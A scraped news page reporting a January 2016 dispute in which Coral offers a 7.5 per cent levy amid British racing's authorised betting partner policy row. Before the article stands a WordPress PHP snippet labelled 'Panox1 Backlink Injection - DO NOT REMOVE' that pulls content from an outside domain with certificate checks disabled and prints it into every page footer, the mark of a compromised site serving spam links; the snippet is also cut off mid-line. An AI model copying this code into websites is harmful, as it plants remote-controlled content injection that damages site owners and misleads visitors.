// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Coral make new online offer in row over ABP – Next Sports News
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Coral make new online offer in row over ABP
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Coral make new online offer in row over ABP

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Carl Leaver - Coral

Carl Leaver: Gala Coral chief describes ABP strategy as “draconian”

  PICTURE: Charles Shearn  

 By Bill Barber 7:42PM 12 JAN 2016 

CORAL on Tuesday issued a revised offer in the escalating row over the sport’s authorised betting partner policy by offering to “happily” pay a levy of 7.5 per cent on their winnings both in betting shops and online.

Gala Coral chief executive Carl Leaver described the ABP strategy as “draconian” and a “blunt tool” and claimed the situation it had created was “neither fair nor sustainable”. He argued the two sides should instead address the “alarming” fall in betting on racing.

While the offer would mean racing taking an immediate hit in its levy income from betting shops, the bookmakers argue it would lock them into paying a digital levy that they do not pay at present and that is set to increase over time as betting on racing migrates from retail to online.

The 7.5 per cent rate offered is what the three firms to have been given ABP status – bet365, Betfair and 32Red – now pay on their online business on British racing. However, it is well below the 10.75 per cent rate set for betting shops, which is the rate Coral currently pay.

The firm no longer makes a contribution on their online business following the abrupt end of the additional voluntary contribution after one year of a four-year arrangement.

Racing’s ABP policy has soured relations between the sport and a number of major bookmakers who have threatened to review their sponsorship deals. And while Arena Racing Company and the Jockey Club have thrown their full support behind the policy, other major racecourses have either failed to follow suit – like Newbury and Goodwood – or, like Ascot and York, have given conditional backing.

Read more on the latest ABP development in Wednesday’s Racing Post – edition available on iPad NOW

 

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